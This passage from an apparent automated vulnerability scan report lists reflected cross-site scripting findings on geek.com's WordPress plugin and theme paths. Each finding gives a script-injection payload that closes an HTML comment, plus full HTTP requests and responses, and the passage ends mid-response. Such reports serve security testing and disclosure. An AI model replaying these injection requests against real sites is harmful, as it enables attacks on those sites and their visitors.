4.307. http://www.geek.com/wp-content/plugins/wp-polls/polls-css.css [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.geek.com
Path:	/wp-content/plugins/wp-polls/polls-css.css

Issue detail

The value of REST URL parameter 4 is copied into an HTML comment. The payload 747c6--><script>alert(1)</script>3ba3d2946dd was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /wp-content/plugins/wp-polls/polls-css.css747c6--><script>alert(1)</script>3ba3d2946dd?ver=2.50 HTTP/1.1
Host: www.geek.com
Proxy-Connection: keep-alive
Referer: http://www.geek.com/articles/geek-pick/google-music-to-launch-in-beta-at-io-2011-20110510/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: text/css,*/*;q=0.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 404 Not Found
Server: nginx/0.8.53
Content-Type: text/html; charset=UTF-8
X-Powered-By: PHP/5.2.17
Last-Modified: Tue, 10 May 2011 13:33:13 GMT
Vary: Cookie
X-Pingback: http://www.geek.com/xmlrpc.php
Content-Length: 44435
X-Varnish: 924436185
Expires: Tue, 10 May 2011 13:32:57 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Tue, 10 May 2011 13:32:57 GMT
Connection: close
Vary: Accept-Encoding
Set-Cookie: PHPSESSID=af1705dde7e9c000c200db2cbf64a3ad; path=/

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<script type="text/javascri
...[SNIP]...
<script>alert(1)</script>3ba3d2946dd%3Fver%3D2.50 -->
...[SNIP]...

4.308. http://www.geek.com/wp-content/plugins/wp-polls/polls-js.js [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.geek.com
Path:	/wp-content/plugins/wp-polls/polls-js.js

Issue detail

The value of REST URL parameter 1 is copied into an HTML comment. The payload e859f--><script>alert(1)</script>4d5442b8446 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /wp-contente859f--><script>alert(1)</script>4d5442b8446/plugins/wp-polls/polls-js.js?ver=2.50 HTTP/1.1
Host: www.geek.com
Proxy-Connection: keep-alive
Referer: http://www.geek.com/articles/geek-pick/google-music-to-launch-in-beta-at-io-2011-20110510/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 404 Not Found
Server: nginx/0.8.53
Content-Type: text/html; charset=UTF-8
X-Powered-By: PHP/5.2.17
Pragma: no-cache
Last-Modified: Tue, 10 May 2011 13:30:06 GMT
Vary: Cookie
X-Pingback: http://www.geek.com/xmlrpc.php
Content-Length: 44357
X-Varnish: 1842939889
Vary: Accept-Encoding
Cache-Control: no-cache, must-revalidate
Expires: Tue, 10 May 2011 13:29:44 GMT
Date: Tue, 10 May 2011 13:29:44 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<script type="text/javascri
...[SNIP]...
<script>alert(1)</script>4d5442b8446/plugins/wp-polls/polls-js.js%3Fver%3D2.50 -->
...[SNIP]...

4.309. http://www.geek.com/wp-content/plugins/wp-polls/polls-js.js [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.geek.com
Path:	/wp-content/plugins/wp-polls/polls-js.js

Issue detail

The value of REST URL parameter 2 is copied into an HTML comment. The payload b2f55--><script>alert(1)</script>f35c7b2e59 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /wp-content/pluginsb2f55--><script>alert(1)</script>f35c7b2e59/wp-polls/polls-js.js?ver=2.50 HTTP/1.1
Host: www.geek.com
Proxy-Connection: keep-alive
Referer: http://www.geek.com/articles/geek-pick/google-music-to-launch-in-beta-at-io-2011-20110510/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 404 Not Found
Server: nginx/0.8.53
Content-Type: text/html; charset=UTF-8
X-Powered-By: PHP/5.2.17
Pragma: no-cache
Last-Modified: Tue, 10 May 2011 13:32:12 GMT
Vary: Cookie
X-Pingback: http://www.geek.com/xmlrpc.php
Content-Length: 44426
X-Varnish: 924435961
Vary: Accept-Encoding
Cache-Control: no-cache, must-revalidate
Expires: Tue, 10 May 2011 13:31:56 GMT
Date: Tue, 10 May 2011 13:31:56 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<script type="text/javascri
...[SNIP]...
<script>alert(1)</script>f35c7b2e59/wp-polls/polls-js.js%3Fver%3D2.50 -->
...[SNIP]...

4.310. http://www.geek.com/wp-content/plugins/wp-polls/polls-js.js [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.geek.com
Path:	/wp-content/plugins/wp-polls/polls-js.js

Issue detail

The value of REST URL parameter 3 is copied into an HTML comment. The payload 94357--><script>alert(1)</script>c14be7dcd5e was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /wp-content/plugins/wp-polls94357--><script>alert(1)</script>c14be7dcd5e/polls-js.js?ver=2.50 HTTP/1.1
Host: www.geek.com
Proxy-Connection: keep-alive
Referer: http://www.geek.com/articles/geek-pick/google-music-to-launch-in-beta-at-io-2011-20110510/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 404 Not Found
Server: nginx/0.8.53
Content-Type: text/html; charset=UTF-8
X-Powered-By: PHP/5.2.17
Pragma: no-cache
Last-Modified: Tue, 10 May 2011 13:34:22 GMT
Vary: Cookie
X-Pingback: http://www.geek.com/xmlrpc.php
Content-Length: 44429
X-Varnish: 924436479
Vary: Accept-Encoding
Cache-Control: no-cache, must-revalidate
Expires: Tue, 10 May 2011 13:34:07 GMT
Date: Tue, 10 May 2011 13:34:07 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<script type="text/javascri
...[SNIP]...
<script>alert(1)</script>c14be7dcd5e/polls-js.js%3Fver%3D2.50 -->
...[SNIP]...

4.311. http://www.geek.com/wp-content/plugins/wp-polls/polls-js.js [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.geek.com
Path:	/wp-content/plugins/wp-polls/polls-js.js

Issue detail

The value of REST URL parameter 4 is copied into an HTML comment. The payload 15f0f--><script>alert(1)</script>43134d19639 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /wp-content/plugins/wp-polls/polls-js.js15f0f--><script>alert(1)</script>43134d19639?ver=2.50 HTTP/1.1
Host: www.geek.com
Proxy-Connection: keep-alive
Referer: http://www.geek.com/articles/geek-pick/google-music-to-launch-in-beta-at-io-2011-20110510/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 404 Not Found
Server: nginx/0.8.53
Content-Type: text/html; charset=UTF-8
X-Powered-By: PHP/5.2.17
Last-Modified: Tue, 10 May 2011 13:36:03 GMT
Vary: Cookie
X-Pingback: http://www.geek.com/xmlrpc.php
Content-Length: 44357
X-Varnish: 1842941419
Expires: Tue, 10 May 2011 13:35:42 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Tue, 10 May 2011 13:35:42 GMT
Connection: close
Vary: Accept-Encoding
Set-Cookie: PHPSESSID=f28e40f71fed1e677e3df9f82127d6fc; path=/

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<script type="text/javascri
...[SNIP]...
<script>alert(1)</script>43134d19639%3Fver%3D2.50 -->
...[SNIP]...

4.312. http://www.geek.com/wp-content/themes/geek6/favicon.ico [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.geek.com
Path:	/wp-content/themes/geek6/favicon.ico

Issue detail

The value of REST URL parameter 1 is copied into an HTML comment. The payload 42204--><script>alert(1)</script>9833826cb0e was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /wp-content42204--><script>alert(1)</script>9833826cb0e/themes/geek6/favicon.ico HTTP/1.1
Host: www.geek.com
Proxy-Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=225658124.1305033255.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=225658124.910637680.1305033255.1305033255.1305033255.1; __utmc=225658124; __utmb=225658124.1.10.1305033255; s_cc=true; sc_id=null; s_sq=%5B%5BB%5D%5D; __switchTo5x=18; __unam=1c2dd7f-12fda0bbbee-38620289-1; _chartbeat2=8c5rotiu3iho8551

Response

HTTP/1.1 404 Not Found
Server: nginx/0.8.53
Content-Type: text/html; charset=UTF-8
X-Powered-By: PHP/5.2.17
Pragma: no-cache
Last-Modified: Tue, 10 May 2011 13:51:20 GMT
Vary: Cookie
X-Pingback: http://www.geek.com/xmlrpc.php
Content-Length: 44360
X-Varnish: 1154915462
Vary: Accept-Encoding
Cache-Control: no-cache, must-revalidate
Expires: Tue, 10 May 2011 13:51:29 GMT
Date: Tue, 10 May 2011 13:51:29 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<script type="text/javascri
...[SNIP]...
<script>alert(1)</script>9833826cb0e/themes/geek6/favicon.ico -->
...[SNIP]...

4.313. http://www.geek.com/wp-content/themes/geek6/favicon.ico [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.geek.com
Path:	/wp-content/themes/geek6/favicon.ico

Issue detail

The value of REST URL parameter 2 is copied into an HTML comment. The payload b789a--><script>alert(1)</script>0e53399439 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /wp-content/themesb789a--><script>alert(1)</script>0e53399439/geek6/favicon.ico HTTP/1.1
Host: www.geek.com
Proxy-Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=225658124.1305033255.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=225658124.910637680.1305033255.1305033255.1305033255.1; __utmc=225658124; __utmb=225658124.1.10.1305033255; s_cc=true; sc_id=null; s_sq=%5B%5BB%5D%5D; __switchTo5x=18; __unam=1c2dd7f-12fda0bbbee-38620289-1; _chartbeat2=8c5rotiu3iho8551

Response

HTTP/1.1 404 Not Found
Server: nginx/0.8.53
Content-Type: text/html; charset=UTF-8
X-Powered-By: PHP/5.2.17
Pragma: no-cache
Last-Modified: Tue, 10 May 2011 13:53:25 GMT
Vary: Cookie
X-Pingback: http://www.geek.com/xmlrpc.php
Content-Length: 44299
X-Varnish: 1842945220
Vary: Accept-Encoding
Cache-Control: no-cache, must-revalidate
Expires: Tue, 10 May 2011 13:53:04 GMT
Date: Tue, 10 May 2011 13:53:04 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<script type="text/javascri
...[SNIP]...
<script>alert(1)</script>0e53399439/geek6/favicon.ico -->
...[SNIP]...

4.314. http://www.geek.com/wp-content/themes/geek6/favicon.ico [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.geek.com
Path:	/wp-content/themes/geek6/favicon.ico

Issue detail

The value of REST URL parameter 3 is copied into an HTML comment. The payload 4b036--><script>alert(1)</script>a1716ec9a28 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /wp-content/themes/geek64b036--><script>alert(1)</script>a1716ec9a28/favicon.ico HTTP/1.1
Host: www.geek.com
Proxy-Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=225658124.1305033255.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=225658124.910637680.1305033255.1305033255.1305033255.1; __utmc=225658124; __utmb=225658124.1.10.1305033255; s_cc=true; sc_id=null; s_sq=%5B%5BB%5D%5D; __switchTo5x=18; __unam=1c2dd7f-12fda0bbbee-38620289-1; _chartbeat2=8c5rotiu3iho8551

Response

HTTP/1.1 404 Not Found
Server: nginx/0.8.53
Content-Type: text/html; charset=UTF-8
X-Powered-By: PHP/5.2.17
Pragma: no-cache
Last-Modified: Tue, 10 May 2011 13:55:01 GMT
Vary: Cookie
X-Pingback: http://www.geek.com/xmlrpc.php
Content-Length: 44374
X-Varnish: 924440770
Vary: Accept-Encoding
Cache-Control: no-cache, must-revalidate
Expires: Tue, 10 May 2011 13:54:46 GMT
Date: Tue, 10 May 2011 13:54:46 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<script type="text/javascri
...[SNIP]...
<script>alert(1)</script>a1716ec9a28/favicon.ico -->
...[SNIP]...

4.315. http://www.geek.com/wp-content/themes/geek6/favicon.ico [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.geek.com
Path:	/wp-content/themes/geek6/favicon.ico

Issue detail

The value of REST URL parameter 4 is copied into an HTML comment. The payload 2bae2--><script>alert(1)</script>7571e7be0b8 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /wp-content/themes/geek6/favicon.ico2bae2--><script>alert(1)</script>7571e7be0b8 HTTP/1.1
Host: www.geek.com
Proxy-Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=225658124.1305033255.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=225658124.910637680.1305033255.1305033255.1305033255.1; __utmc=225658124; __utmb=225658124.1.10.1305033255; s_cc=true; sc_id=null; s_sq=%5B%5BB%5D%5D; __switchTo5x=18; __unam=1c2dd7f-12fda0bbbee-38620289-1; _chartbeat2=8c5rotiu3iho8551

Response

HTTP/1.1 404 Not Found
Server: nginx/0.8.53
Content-Type: text/html; charset=UTF-8
X-Powered-By: PHP/5.2.17
Pragma: no-cache
Last-Modified: Tue, 10 May 2011 13:56:42 GMT
Vary: Cookie
X-Pingback: http://www.geek.com/xmlrpc.php
Content-Length: 44360
X-Varnish: 1842945949
Vary: Accept-Encoding
Cache-Control: no-cache, must-revalidate
Expires: Tue, 10 May 2011 13:56:20 GMT
Date: Tue, 10 May 2011 13:56:20 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<script type="text/javascri
...[SNIP]...
<script>alert(1)</script>7571e7be0b8 -->
...[SNIP]...

4.316. http://www.geek.com/wp-content/themes/geek6/style.css [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.geek.com
Path:	/wp-content/themes/geek6/style.css

Issue detail

The value of REST URL parameter 1 is copied into an HTML comment. The payload 8d04b--><script>alert(1)</script>012cb052054 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /wp-content8d04b--><script>alert(1)</script>012cb052054/themes/geek6/style.css?v=1 HTTP/1.1
Host: www.geek.com
Proxy-Connection: keep-alive
Referer: http://www.geek.com/articles/geek-pick/google-music-to-launch-in-beta-at-io-2011-20110510/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: text/css,*/*;q=0.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 404 Not Found
Server: nginx/0.8.53
Content-Type: text/html; charset=UTF-8
X-Powered-By: PHP/5.2.17
Pragma: no-cache
Last-Modified: Tue, 10 May 2011 13:24:30 GMT
Vary: Cookie
X-Pingback: http://www.geek.com/xmlrpc.php
Content-Length: 44396
X-Varnish: 924433831
Vary: Accept-Encoding
Cache-Control: no-cache, must-revalidate
Expires: Tue, 10 May 2011 13:24:14 GMT
Date: Tue, 10 May 2011 13:24:14 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<script type="text/javascri
...[SNIP]...
<script>alert(1)</script>012cb052054/themes/geek6/style.css%3Fv%3D1 -->
...[SNIP]...

4.317. http://www.geek.com/wp-content/themes/geek6/style.css [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.geek.com
Path:	/wp-content/themes/geek6/style.css

Issue detail

The value of REST URL parameter 2 is copied into an HTML comment. The payload 5eb8d--><script>alert(1)</script>3a2417266e1 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /wp-content/themes5eb8d--><script>alert(1)</script>3a2417266e1/geek6/style.css?v=1 HTTP/1.1
Host: www.geek.com
Proxy-Connection: keep-alive
Referer: http://www.geek.com/articles/geek-pick/google-music-to-launch-in-beta-at-io-2011-20110510/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: text/css,*/*;q=0.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 404 Not Found
Server: nginx/0.8.53
Content-Type: text/html; charset=UTF-8
X-Powered-By: PHP/5.2.17
Pragma: no-cache
Last-Modified: Tue, 10 May 2011 13:26:52 GMT
Vary: Cookie
X-Pingback: http://www.geek.com/xmlrpc.php
Content-Length: 44396
X-Varnish: 924434429
Vary: Accept-Encoding
Cache-Control: no-cache, must-revalidate
Expires: Tue, 10 May 2011 13:26:37 GMT
Date: Tue, 10 May 2011 13:26:37 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<script type="text/javascri
...[SNIP]...
<script>alert(1)</script>3a2417266e1/geek6/style.css%3Fv%3D1 -->
...[SNIP]...

4.318. http://www.geek.com/wp-content/themes/geek6/style.css [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.geek.com
Path:	/wp-content/themes/geek6/style.css

Issue detail

The value of REST URL parameter 3 is copied into an HTML comment. The payload 667fc--><script>alert(1)</script>0699ca39d7d was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /wp-content/themes/geek6667fc--><script>alert(1)</script>0699ca39d7d/style.css?v=1 HTTP/1.1
Host: www.geek.com
Proxy-Connection: keep-alive
Referer: http://www.geek.com/articles/geek-pick/google-music-to-launch-in-beta-at-io-2011-20110510/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: text/css,*/*;q=0.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 404 Not Found
Server: nginx/0.8.53
Content-Type: text/html; charset=UTF-8
X-Powered-By: PHP/5.2.17
Pragma: no-cache
Last-Modified: Tue, 10 May 2011 13:28:33 GMT
Vary: Cookie
X-Pingback: http://www.geek.com/xmlrpc.php
Content-Length: 44324
X-Varnish: 1842939387
Vary: Accept-Encoding
Cache-Control: no-cache, must-revalidate
Expires: Tue, 10 May 2011 13:28:11 GMT
Date: Tue, 10 May 2011 13:28:11 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<script type="text/javascri
...[SNIP]...
<script>alert(1)</script>0699ca39d7d/style.css%3Fv%3D1 -->
...[SNIP]...

4.319. http://www.geek.com/wp-content/themes/geek6/style.css [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.geek.com
Path:	/wp-content/themes/geek6/style.css

Issue detail

The value of REST URL parameter 4 is copied into an HTML comment. The payload 5741f--><script>alert(1)</script>a5ba9f86d8f was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /wp-content/themes/geek6/style.css5741f--><script>alert(1)</script>a5ba9f86d8f?v=1 HTTP/1.1
Host: www.geek.com
Proxy-Connection: keep-alive
Referer: http://www.geek.com/articles/geek-pick/google-music-to-launch-in-beta-at-io-2011-20110510/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: text/css,*/*;q=0.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 404 Not Found
Server: nginx/0.8.53
Content-Type: text/html; charset=UTF-8
X-Powered-By: PHP/5.2.17
Pragma: no-cache
Last-Modified: Tue, 10 May 2011 13:30:23 GMT
Vary: Cookie
X-Pingback: http://www.geek.com/xmlrpc.php
Content-Length: 44396
X-Varnish: 924435452
Vary: Accept-Encoding
Cache-Control: no-cache, must-revalidate
Expires: Tue, 10 May 2011 13:30:07 GMT
Date: Tue, 10 May 2011 13:30:07 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<script type="text/javascri
...[SNIP]...
<script>alert(1)</script>a5ba9f86d8f%3Fv%3D1 -->
...[SNIP]...

4.320. http://www.geek.com/wp-content/themes/geek6/styles/redesign.css [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.geek.com
Path:	/wp-content/themes/geek6/styles/redesign.css

Issue detail

The value of REST URL parameter 1 is copied into an HTML comment. The payload 73cd2--><script>alert(1)</script>baaf0b0251b was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /wp-content73cd2--><script>alert(1)</script>baaf0b0251b/themes/geek6/styles/redesign.css?ver=416 HTTP/1.1
Host: www.geek.com
Proxy-Connection: keep-alive
Referer: http://www.geek.com/articles/geek-pick/google-music-to-launch-in-beta-at-io-2011-20110510/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: text/css,*/*;q=0.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 404 Not Found
Server: nginx/0.8.53
Content-Type: text/html; charset=UTF-8
X-Powered-By: PHP/5.2.17
Pragma: no-cache
Last-Modified: Tue, 10 May 2011 13:25:53 GMT
Vary: Cookie
X-Pingback: http://www.geek.com/xmlrpc.php
Content-Length: 44366
X-Varnish: 1842938474
Vary: Accept-Encoding
Cache-Control: no-cache, must-revalidate
Expires: Tue, 10 May 2011 13:25:32 GMT
Date: Tue, 10 May 2011 13:25:32 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
